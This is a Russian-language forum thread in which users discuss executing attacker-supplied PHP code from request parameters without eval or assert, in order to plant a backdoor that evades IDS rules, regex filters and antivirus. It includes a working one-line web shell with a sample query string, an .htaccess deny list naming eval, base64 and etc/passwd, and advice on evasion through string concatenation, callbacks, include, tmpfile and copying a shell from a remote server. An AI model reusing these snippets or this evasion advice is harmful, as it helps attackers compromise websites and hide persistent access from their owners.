Прошу подсказать в чем проблема. В php не очень, добрался до интересного и тут заглох. Есть такая шляпа: $a = function ($x, $y) { echo "Test"; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); Теперь пробуем так: $c = echo "Test"; $a = function ($x, $y) { $c; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); Естественно не получаем ничего. Можно как то обойтись без eval $c; assert $c; и т.д. что бы добиться работы $c?
Спасибо что отозвались b3. Дело оказалось не в том. Пробовал и echo и print - не работало, благо додумался объявить переменную глобальной. В результате $c = print("Test"); - работает, но $c = $_REQUEST['c']; соответственно $_REQUEST['c'] = print("Test"); - не работает. Объявляй хоть глобальной хоть глючной. Можете еще тут подсобить?
Я часто под наркотиками и воспринимаю все по своему и не совсем понял что нужно. С echo у вас с print нет ошибок, но я теперь понимаю что дело не в ошибке а в чем?
заставить работать код вида: $c = $_REQUEST['c']; $a = function ($x, $y) { $c; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); под "заставить работать" имеется ввиду что в $_REQUEST['c']; будет все от print"работает"; до copy(себя,вменя); Сейчас же не выводится ничего. p.s. какие наркотики используете для такого рода кода?
У вас функция принимает 2 аргумента, в теле функции параметр неопределенный, яхз что вы хотите от кода) Его бы по хорошему переписать с индусского или албанского на PHP. Или это у вас "задачка" и код менять нельзя? ps со всем уважением к вашему коду)
Вы видите какой я мастер в php?) Но идея в принципе похожая. Суть менять можно, мне просто понравился статья habr.com/post/215139/ вот решил заняться тестированием. Главная идея сделать eval($_REQUEST) без eval, assert и т.д.
Я вас понял теперь. тут явное echo, исполнения кода вы не получите если там будет ваш _REQUEST без eval. Тут нужно понимать сам яп. Code: <?php $c = eval('phpinfo();'); $a = function () { global $c; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); Таким образом можно, но палится явный вызов eval а как вы хотите всего с 1 параметром не получится. Code: <?php $x = $_GET['x']; $y = $_GET['y']; $x($y); Юзайте этот вариант, можете обернуть в функцию если оч хочется
И тут удар под дых от функции в начале скрипта или хтацеса, который отлавливает все eval,assert,system,base64 и т.д. не то что с $_GET а даже с $_COOKIE. Что тогда?)
Имею ввиду если PHP: $x = $_GET['x'];$y = $_GET['y'];$x($y); ?x=eval&y=phpinfo(); Вот первое что попалось на глаза Code: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{QUERY_STRING} (eval\() [NC,OR] RewriteCond %{QUERY_STRING} (127\.0\.0\.1) [NC,OR] RewriteCond %{QUERY_STRING} ([a-z0-9]{2000}) [NC,OR] RewriteCond %{QUERY_STRING} (javascript:)(.*)(smile;) [NC,OR] RewriteCond %{QUERY_STRING} (base64_encode)(.*)(\() [NC,OR] RewriteCond %{QUERY_STRING} (GLOBALS|REQUEST)(=|\[|%) [NC,OR] RewriteCond %{QUERY_STRING} (<|%3C)(.*)script(.*)(>|%3) [NC,OR] RewriteCond %{QUERY_STRING} (\\|\.\.\.|\.\./|~|`|<|>|\|) [NC,OR] RewriteCond %{QUERY_STRING} (boot\.ini|etc/passwd|self/environ) [NC,OR] RewriteCond %{QUERY_STRING} (thumbs?(_editor|open)?|tim(thumb)?)\.php [NC,OR] RewriteCond %{QUERY_STRING} (\'|\"smile;)(.*)(drop|insert|md5|select|union) [NC] RewriteRule .* - [F] </IfModule> p.s. сейчас чувствую начнете меня пинать из за того что ляпнул что то не то)
eval для неявного вызова, насколько помню нельзя передавать, надо в assert сначала завернуть, и то если не php7, в седьмой assert тоже не передать а htaccess в чем проблема обойти через POST?
Да нет) С обхода IDS как раз все и началось) с assert и php7, с create_function и php7. Вообщем все это завертелось и создалась эта тема.
Я надеюсь вы понимаете что обойти такие вот огого фильтры можно банальными методиками склеивания строк итд) Я уже начинаю не понимать о чем мы говорим и куда мы идем)) Очень интересно применение данного правила))
Главное что не маленький, понимаю что никто не выложит код со словами "на пользуйся", но все же вопрос остается открытым - выполнение кода переданного в $_REQUEST, без явного вызова палевных функций которые можно отловить регулярками или теме же антивирусами. P.S. Куда мы идем уже и я не знаю)
Код выкладывать не буду но посоветовал бы вам посмотреть в сторону колбэк-функций в компановке с анонимными функциями. Да и вообще погуглите про бэкдоринг там есть варианты через ООП. Ну и код что выше тоже подойдет для этого, просто учитывайте что eval, assert не принимает string и все. http://php.net/manual/ru/language.types.callable.php Так же код можно исполнить не только через eval не забывайте про include) Да и вообще бэкдор не обязательно должен исполнять код, вам хватит банальной функции копирования шела с удаленного сервера.
Вы прям мысли читаете) Пару дней смотрю в сторону анонимных функций и preg_replace_callback. беда - знаний не хватает. про бэкдоринг много читал, вот прям что бы таки "инетересное", не нашел. include старая шляпа с allow_url_fopen, а держать локально, всплывает первая проблема. простой copy - банально, хочется пока есть свободное время добавить в базу знаний что то извращенное)
Не обязательно удаленно хранить код http://php.net/manual/ru/function.tmpfile.php Вы хотели сказать эффективно наверное)